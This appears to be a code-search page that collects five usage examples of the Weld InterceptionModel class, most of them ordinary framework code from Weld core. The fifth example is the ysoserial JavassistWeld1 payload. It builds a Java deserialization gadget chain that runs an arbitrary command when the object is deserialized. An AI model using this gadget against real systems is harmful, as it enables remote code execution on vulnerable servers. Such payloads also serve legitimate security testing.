Search in sources :

Example 1 with InterceptionModel

use of org.jboss.weld.interceptor.spi.model.InterceptionModel in project core by weld.

the class InterceptionModelInitializer method init.

public void init() {
    initTargetClassInterceptors();
    businessMethods = Beans.getInterceptableMethods(annotatedType);
    initEjbInterceptors();
    initCdiInterceptors();
    InterceptionModel interceptionModel = builder.build();
    if (interceptionModel.getAllInterceptors().size() > 0 || hasSerializationOrInvocationInterceptorMethods) {
        if (annotatedType.isFinal()) {
            throw BeanLogger.LOG.finalBeanClassWithInterceptorsNotAllowed(annotatedType.getJavaClass());
        }
        if (Reflections.isPrivate(constructor.getJavaMember())) {
            throw new DeploymentException(ValidatorLogger.LOG.notProxyablePrivateConstructor(annotatedType.getJavaClass().getName(), constructor, annotatedType.getJavaClass()));
        }
        manager.getInterceptorModelRegistry().put(annotatedType.slim(), interceptionModel);
    }
}
Also used : InterceptionModel(org.jboss.weld.interceptor.spi.model.InterceptionModel) DeploymentException(org.jboss.weld.exceptions.DeploymentException)

Example 2 with InterceptionModel

use of org.jboss.weld.interceptor.spi.model.InterceptionModel in project core by weld.

the class BeanInjectionTarget method initializeAfterBeanDiscovery.

@Override
public void initializeAfterBeanDiscovery(EnhancedAnnotatedType<T> annotatedType) {
    initializeInterceptionModel(annotatedType);
    InterceptionModel interceptionModel = null;
    if (isInterceptionCandidate()) {
        interceptionModel = beanManager.getInterceptorModelRegistry().get(getType());
    }
    boolean hasNonConstructorInterceptors = interceptionModel != null && (interceptionModel.hasExternalNonConstructorInterceptors() || interceptionModel.hasTargetClassInterceptors());
    List<Decorator<?>> decorators = null;
    if (getBean() != null && isInterceptionCandidate()) {
        decorators = beanManager.resolveDecorators(getBean().getTypes(), getBean().getQualifiers());
    }
    boolean hasDecorators = decorators != null && !decorators.isEmpty();
    if (hasDecorators) {
        checkDecoratedMethods(annotatedType, decorators);
    }
    if (hasNonConstructorInterceptors || hasDecorators) {
        if (!(getInstantiator() instanceof DefaultInstantiator<?>)) {
            throw new java.lang.IllegalStateException("Unexpected instantiator " + getInstantiator());
        }
        DefaultInstantiator<T> delegate = (DefaultInstantiator<T>) getInstantiator();
        setInstantiator(SubclassedComponentInstantiator.forInterceptedDecoratedBean(annotatedType, getBean(), delegate, beanManager));
        if (hasDecorators) {
            setInstantiator(new SubclassDecoratorApplyingInstantiator<T>(getBeanManager().getContextId(), getInstantiator(), getBean(), decorators));
        }
        if (hasNonConstructorInterceptors) {
            setInstantiator(new InterceptorApplyingInstantiator<T>(getInstantiator(), interceptionModel, getType()));
        }
    }
    if (isInterceptionCandidate()) {
        setupConstructorInterceptionInstantiator(interceptionModel);
    }
}
Also used : Decorator(javax.enterprise.inject.spi.Decorator) InterceptionModel(org.jboss.weld.interceptor.spi.model.InterceptionModel)

Example 3 with InterceptionModel

use of org.jboss.weld.interceptor.spi.model.InterceptionModel in project core by weld.

the class JsonObjects method createFullBeanJson.

/**
 * @param bean
 * @param transientDependencies
 * @param transientDependents
 * @param probe
 * @return the full bean representation
 */
static JsonObjectBuilder createFullBeanJson(Bean<?> bean, boolean transientDependencies, boolean transientDependents, BeanManagerImpl beanManager, Probe probe) {
    JsonObjectBuilder beanBuilder = createBasicBeanJson(bean, probe);
    // NAME
    if (bean.getName() != null) {
        beanBuilder.add(NAME, bean.getName());
    }
    // STEREOTYPES
    if (bean.getStereotypes() != null && !bean.getStereotypes().isEmpty()) {
        JsonArrayBuilder stereotypesBuilder = Json.arrayBuilder();
        for (Class<?> stereotype : Components.getSortedProbeComponetCandidates(bean.getStereotypes())) {
            stereotypesBuilder.add(Json.objectBuilder().add(CLASS, stereotype.getName()).add(PROBE_COMPONENT, Components.isProbeComponent(stereotype)));
        }
        beanBuilder.add(STEREOTYPES, stereotypesBuilder);
    }
    if (bean instanceof SessionBean) {
        // SESSION BEAN
        SessionBean<?> sessionBean = (SessionBean<?>) bean;
        if (sessionBean.getEjbDescriptor().getEjbName() != null) {
            beanBuilder.add(EJB_NAME, true);
        }
        beanBuilder.add(SESSION_BEAN_TYPE, Components.getSessionBeanType(sessionBean.getEjbDescriptor()).toString());
    } else if (bean instanceof AbstractProducerBean) {
        // PRODUCERS
        AbstractProducerBean<?, ?, ?> producerBean = (AbstractProducerBean<?, ?, ?>) bean;
        if (producerBean.getDeclaringBean() != null) {
            beanBuilder.add(DECLARING_BEAN, createSimpleBeanJson(producerBean.getDeclaringBean(), probe));
        }
        if (producerBean.getProducer() instanceof ProducerMethodProducer) {
            ProducerMethodProducer<?, ?> producer = (ProducerMethodProducer<?, ?>) producerBean.getProducer();
            if (producer.getDisposalMethod() != null) {
                beanBuilder.add(DISPOSAL_METHOD, annotatedMethodToString(producer.getDisposalMethod().getAnnotated(), bean.getBeanClass()));
            }
            beanBuilder.add(PRODUCER_METHOD, annotatedMethodToString((AnnotatedMethod<?>) producer.getAnnotated(), bean.getBeanClass()));
        } else if (producerBean.getProducer() instanceof ProducerFieldProducer) {
            ProducerFieldProducer<?, ?> producer = (ProducerFieldProducer<?, ?>) producerBean.getProducer();
            if (producer.getDisposalMethod() != null) {
                beanBuilder.add(DISPOSAL_METHOD, annotatedMethodToString(producer.getDisposalMethod().getAnnotated(), bean.getBeanClass()));
            }
            beanBuilder.add(PRODUCER_FIELD, annotatedFieldToString(producer.getAnnotated(), bean.getBeanClass()));
        }
    }
    // DEPENDENCIES
    JsonArrayBuilder dependencies = createDependencies(null, bean, probe, transientDependencies);
    if (dependencies != null) {
        beanBuilder.add(DEPENDENCIES, dependencies);
    }
    // DEPENDENTS
    JsonArrayBuilder dependents = createDependents(null, bean, probe, transientDependents);
    if (dependents != null) {
        beanBuilder.add(DEPENDENTS, dependents);
    }
    // DECLARED OBSERVERS
    JsonArrayBuilder declaredObservers = Json.arrayBuilder();
    for (ObserverMethod<?> observerMethod : probe.getObservers()) {
        if (observerMethod instanceof ObserverMethodImpl) {
            ObserverMethodImpl<?, ?> observerMethodImpl = (ObserverMethodImpl<?, ?>) observerMethod;
            if (bean.equals(observerMethodImpl.getDeclaringBean())) {
                JsonObjectBuilder observerBuilder = createSimpleObserverJson(observerMethodImpl, probe);
                observerBuilder.add(RECEPTION, observerMethodImpl.getReception().toString());
                observerBuilder.add(TX_PHASE, observerMethodImpl.getTransactionPhase().toString());
                observerBuilder.add(ANNOTATED_METHOD, annotatedMethodToString(observerMethodImpl.getMethod().getAnnotated(), bean.getBeanClass()));
                declaredObservers.add(observerBuilder);
            }
        }
    }
    beanBuilder.add(DECLARED_OBSERVERS, declaredObservers);
    // DECLARED PRODUCERS
    beanBuilder.add(DECLARED_PRODUCERS, createDeclaredProducers(bean, probe));
    // ENABLEMENT
    BeanKind kind = BeanKind.from(bean);
    if (BeanKind.INTERCEPTOR.equals(kind) || BeanKind.DECORATOR.equals(kind) || bean.isAlternative()) {
        JsonObjectBuilder enablementBuilder = Json.objectBuilder();
        AnnotationApiAbstraction annotationApi = beanManager.getServices().get(AnnotationApiAbstraction.class);
        Object priority = bean.getBeanClass().getAnnotation(annotationApi.PRIORITY_ANNOTATION_CLASS);
        if (priority != null) {
            int priorityValue = annotationApi.getPriority(priority);
            enablementBuilder.add(PRIORITY, priorityValue);
            enablementBuilder.add(PRIORITY_RANGE, Components.PriorityRange.of(priorityValue).toString());
            if (!probe.getLocalEnablementOfBean(bean.getBeanClass()).isEmpty()) {
                enablementBuilder.add(WARNING, WARNING_CONFLICTING_ENABLEMENT);
                JsonArrayBuilder conflictingBdas = Json.arrayBuilder();
                for (String bdaId : probe.getLocalEnablementOfBean(bean.getBeanClass())) {
                    conflictingBdas.add(createSimpleBdaJson(bdaId));
                }
                enablementBuilder.add(CONFLICTS, conflictingBdas);
            }
        } else {
            JsonArrayBuilder bdasBuilder = Json.arrayBuilder();
            Collection<BeanManagerImpl> beanManagers = Container.instance(beanManager).beanDeploymentArchives().values();
            for (BeanManagerImpl manager : beanManagers) {
                ModuleEnablement enablement = manager.getEnabled();
                if ((BeanKind.INTERCEPTOR.equals(kind) && enablement.isInterceptorEnabled(bean.getBeanClass())) || (BeanKind.DECORATOR.equals(kind) && enablement.isDecoratorEnabled(bean.getBeanClass())) || isSelectedAlternative(enablement, bean)) {
                    bdasBuilder.add(createSimpleBdaJson(manager.getId()));
                }
            }
            enablementBuilder.add(BDAS, bdasBuilder);
        }
        beanBuilder.add(ENABLEMENT, enablementBuilder);
    }
    // INTERCEPTOR BINDINGS
    if (BeanKind.INTERCEPTOR.equals(kind)) {
        Interceptor<?> interceptor = (Interceptor<?>) bean;
        JsonArrayBuilder bindings = Json.arrayBuilder(true);
        for (Annotation binding : interceptor.getInterceptorBindings()) {
            bindings.add(binding.toString());
        }
        beanBuilder.add(BINDINGS, bindings);
    }
    // DECORATOR
    if (BeanKind.DECORATOR.equals(kind)) {
        Decorator<?> decorator = (Decorator<?>) bean;
        beanBuilder.add(DELEGATE_TYPE, Formats.formatType(decorator.getDelegateType(), false));
        beanBuilder.add(DELEGATE_QUALIFIERS, createQualifiers(decorator.getDelegateQualifiers(), false));
        JsonArrayBuilder decoratedTypes = Json.arrayBuilder(true);
        for (Type type : decorator.getDecoratedTypes()) {
            decoratedTypes.add(Formats.formatType(type, false));
        }
        beanBuilder.add(DECORATED_TYPES, decoratedTypes);
        // ASSOCIATED TO BEANS
        Set<Bean<?>> decoratedBeans = findDecoratedBeans(decorator, beanManager, probe);
        if (!decoratedBeans.isEmpty()) {
            JsonArrayBuilder decoratedBeansBuilder = Json.arrayBuilder();
            for (Bean<?> decoratedBean : decoratedBeans) {
                decoratedBeansBuilder.add(createSimpleBeanJson(decoratedBean, probe));
            }
            beanBuilder.add(ASSOCIATED_TO, decoratedBeansBuilder);
        }
    }
    if (bean instanceof AbstractClassBean) {
        AbstractClassBean<?> abstractClassBean = (AbstractClassBean<?>) bean;
        InterceptionModel interceptionModel = abstractClassBean.getInterceptors();
        // CLASS-LEVEL BINDINGS
        if (interceptionModel != null) {
            Set<Annotation> classInterceptorBindings = interceptionModel.getClassInterceptorBindings();
            if (!classInterceptorBindings.isEmpty()) {
                JsonArrayBuilder bindingsBuilder = Json.arrayBuilder();
                for (Annotation binding : Components.getSortedProbeComponetAnnotationCandidates(classInterceptorBindings)) {
                    bindingsBuilder.add(Json.objectBuilder().add(VALUE, binding.toString()).add(PROBE_COMPONENT, Components.isProbeAnnotation(binding)));
                }
                beanBuilder.add(CLASS_INTERCEPTOR_BINDINGS, bindingsBuilder);
            }
        }
        // ASSOCIATED DECORATORS
        List<Decorator<?>> decorators = abstractClassBean.getDecorators();
        if (!decorators.isEmpty()) {
            JsonArrayBuilder decoratorsBuilder = Json.arrayBuilder();
            for (Decorator<?> decorator : decorators) {
                decoratorsBuilder.add(createSimpleBeanJson(decorator, probe));
            }
            beanBuilder.add(DECORATORS, decoratorsBuilder);
        }
    }
    return beanBuilder;
}
Also used : AnnotationApiAbstraction(org.jboss.weld.util.AnnotationApiAbstraction) SessionBean(org.jboss.weld.bean.SessionBean) ProducerMethodProducer(org.jboss.weld.injection.producer.ProducerMethodProducer) SessionBean(org.jboss.weld.bean.SessionBean) AbstractClassBean(org.jboss.weld.bean.AbstractClassBean) AbstractBuiltInBean(org.jboss.weld.bean.builtin.AbstractBuiltInBean) AbstractProducerBean(org.jboss.weld.bean.AbstractProducerBean) Bean(javax.enterprise.inject.spi.Bean) ObserverMethodImpl(org.jboss.weld.event.ObserverMethodImpl) ProducerFieldProducer(org.jboss.weld.injection.producer.ProducerFieldProducer) AbstractClassBean(org.jboss.weld.bean.AbstractClassBean) JsonArrayBuilder(org.jboss.weld.probe.Json.JsonArrayBuilder) JsonObjectBuilder(org.jboss.weld.probe.Json.JsonObjectBuilder) Interceptor(javax.enterprise.inject.spi.Interceptor) BeanKind(org.jboss.weld.probe.Components.BeanKind) ModuleEnablement(org.jboss.weld.bootstrap.enablement.ModuleEnablement) AbstractProducerBean(org.jboss.weld.bean.AbstractProducerBean) InterceptionModel(org.jboss.weld.interceptor.spi.model.InterceptionModel) Annotation(java.lang.annotation.Annotation) Decorator(javax.enterprise.inject.spi.Decorator) ParameterizedType(java.lang.reflect.ParameterizedType) EventType(org.jboss.weld.probe.BootstrapStats.EventType) ProcessAnnotatedType(javax.enterprise.inject.spi.ProcessAnnotatedType) ProcessSyntheticAnnotatedType(javax.enterprise.inject.spi.ProcessSyntheticAnnotatedType) Type(java.lang.reflect.Type) BeanManagerImpl(org.jboss.weld.manager.BeanManagerImpl) ProxyObject(org.jboss.weld.bean.proxy.ProxyObject)

Example 4 with InterceptionModel

use of org.jboss.weld.interceptor.spi.model.InterceptionModel in project core by weld.

the class SubclassedComponentInstantiator method getInterceptionModelsForType.

private Set<InterceptionModel> getInterceptionModelsForType(EnhancedAnnotatedType<T> type, BeanManagerImpl manager, Bean<?> bean) {
    // if the bean has decorators consider all methods as intercepted
    if (bean != null && !manager.resolveDecorators(bean.getTypes(), bean.getQualifiers()).isEmpty()) {
        return null;
    }
    SlimAnnotatedTypeStore store = manager.getServices().get(SlimAnnotatedTypeStore.class);
    Set<InterceptionModel> models = new HashSet<InterceptionModel>();
    WeldCollections.addIfNotNull(models, manager.getInterceptorModelRegistry().get(type.slim()));
    for (SlimAnnotatedType<?> slimType : store.get(type.getJavaClass())) {
        WeldCollections.addIfNotNull(models, manager.getInterceptorModelRegistry().get(slimType));
    }
    for (InterceptionModel model : models) {
        if (model.hasTargetClassInterceptors() && model.getTargetClassInterceptorMetadata().isEligible(InterceptionType.AROUND_INVOKE)) {
            // returning null here means that all methods will be overridden and will delegate to MethodHandler
            return null;
        }
    }
    return models;
}
Also used : SlimAnnotatedTypeStore(org.jboss.weld.annotated.slim.SlimAnnotatedTypeStore) InterceptionModel(org.jboss.weld.interceptor.spi.model.InterceptionModel) HashSet(java.util.HashSet)

Example 5 with InterceptionModel

use of org.jboss.weld.interceptor.spi.model.InterceptionModel in project ysoserial by frohoff.

the class JavassistWeld1 method getObject.

public Object getObject(final String command) throws Exception {
    final Object gadget = Gadgets.createTemplatesImpl(command);
    InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
    ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
    InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
    Set<InterceptionType> s = new HashSet<InterceptionType>();
    s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
    Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
    defaultMethodMetadataConstructor.setAccessible(true);
    MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
    List list = new ArrayList();
    list.add(methodMetadata);
    Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
    hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
    SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
    builder.interceptAll().with(simpleInterceptorMetadata);
    InterceptionModel model = builder.build();
    HashMap map = new HashMap();
    map.put("ysoserial", "ysoserial");
    DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
    InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {

        public Object createFor(InterceptorReference paramInterceptorReference) {
            return gadget;
        }
    };
    return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
Also used : InterceptorReference(org.jboss.weld.interceptor.spi.metadata.InterceptorReference) ClassMetadataInterceptorReference(org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference) InterceptorInstantiator(org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator) InterceptorMethodHandler(org.jboss.weld.interceptor.proxy.InterceptorMethodHandler) InterceptionType(org.jboss.weld.interceptor.spi.model.InterceptionType) DefaultInvocationContextFactory(org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory) InterceptionModelBuilder(org.jboss.weld.interceptor.builder.InterceptionModelBuilder) Constructor(java.lang.reflect.Constructor) InterceptionModel(org.jboss.weld.interceptor.spi.model.InterceptionModel) TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) ReflectiveClassMetadata(org.jboss.weld.interceptor.reader.ReflectiveClassMetadata) SimpleInterceptorMetadata(org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata) MethodMetadata(org.jboss.weld.interceptor.spi.metadata.MethodMetadata) DefaultMethodMetadata(org.jboss.weld.interceptor.reader.DefaultMethodMetadata)

Aggregations

InterceptionModel (org.jboss.weld.interceptor.spi.model.InterceptionModel)12 BasicInjectionTarget (org.jboss.weld.injection.producer.BasicInjectionTarget)3 Type (java.lang.reflect.Type)2 HashSet (java.util.HashSet)2 Decorator (javax.enterprise.inject.spi.Decorator)2 SlimAnnotatedType (org.jboss.weld.annotated.slim.SlimAnnotatedType)2 InterceptorBindingsAdapter (org.jboss.weld.bean.interceptor.InterceptorBindingsAdapter)2 InterceptionType (org.jboss.weld.interceptor.spi.model.InterceptionType)2 ClassTransformer (org.jboss.weld.resources.ClassTransformer)2 TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)1 Annotation (java.lang.annotation.Annotation)1 Constructor (java.lang.reflect.Constructor)1 ParameterizedType (java.lang.reflect.ParameterizedType)1 Bean (javax.enterprise.inject.spi.Bean)1 InjectionPoint (javax.enterprise.inject.spi.InjectionPoint)1 Interceptor (javax.enterprise.inject.spi.Interceptor)1 ProcessAnnotatedType (javax.enterprise.inject.spi.ProcessAnnotatedType)1 ProcessSyntheticAnnotatedType (javax.enterprise.inject.spi.ProcessSyntheticAnnotatedType)1 EnhancedAnnotatedType (org.jboss.weld.annotated.enhanced.EnhancedAnnotatedType)1 MethodSignature (org.jboss.weld.annotated.enhanced.MethodSignature)1